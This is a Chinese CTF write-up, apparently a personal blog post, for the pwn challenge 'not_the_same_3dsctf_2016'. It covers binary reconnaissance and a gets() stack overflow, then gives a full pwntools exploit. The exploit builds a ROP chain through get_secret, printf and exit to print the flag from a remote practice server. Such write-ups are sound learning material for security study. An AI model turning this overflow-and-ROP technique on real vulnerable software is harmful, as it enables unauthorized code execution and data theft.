PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持

image

远程连接,没有什么可用信息。
image

file 查看文件。32 位 ELF 可执行文件。
image

checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
image

IDA 打开文件。查看 main 函数,发现了 gets() 高危函数。
image

并且在 get_secret 函数中找到了后门。它用只读模式打开 flag.txt ,之后将文件存放在 fl4g 变量中。那么我们就可以想到,用 printf() 函数将 fl4g 变量内容打印出来。
image

分析 main函数的汇编代码,发现其没有 push 指令,并且 retn 没有设置返回地址,因此构造 exp 的时候就不需要覆盖返回地址。
image

计算溢出大小:0x2D+0=0x2D
image

我们需要调用 printf() 函数,所以我们要找到它的内存地址。
image

双击 printf,就找到了其内存地址
image

调用 printf 函数之前,我们需要了解 printf 函数的输出原理:printf 函数并不会立即把输出内容写显示到屏幕上,而是先将输出内容写入到缓冲区中。只有满足一定条件时(比如缓冲区满,遇到换行符 \n 且开启了行缓冲模式、程序正常结束或调用 flush 函数刷新缓冲区等),缓冲区中的内容才会被实际输出到对应的设备上。

因此脚本就需要添加一个返回地址。

大致流程:先溢出,之后直接执行后门,让程序将 flag.txt 的内容存到 fl4g 变量中,再调用 printf 函数地址,因为这里 printf 函数得到输入后,没有结束程序,所以数据就会保存在缓冲区中,这时就要调用一个返回地址结束程序(exit 函数),然后触发 printf 的输出机制,再在后面添加 fl4g 变量的内存地址,让 printf 定位到 fl4g 的数据。(简洁流程:调用 printf 地址获取 fl4g 的内容,再调用 exit 结束地址触发缓冲区刷新以显示内容,最后到 fl4g 的内存地址,让 printf 定位数据。)

exit 函数地址(返回地址)
image

printf 函数地址。
image

fl4g 变量地址。
image

编写 exp:

from pwn import *  
r=remote('node5.buuoj.cn',29302)  
  
get_secret_addr=0x80489A0  
printf_addr=0x0804F0A0  
exit_addr=0x0804E660  
flag_addr=0x080ECA2D  
  
payload=b'a'*(0x2D)+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr)  
r.sendline(payload)  
r.interactive()

flag 被打印出来。
image

posted @ 2025-10-04 14:25  B0rry  阅读(2)  评论(0)    收藏  举报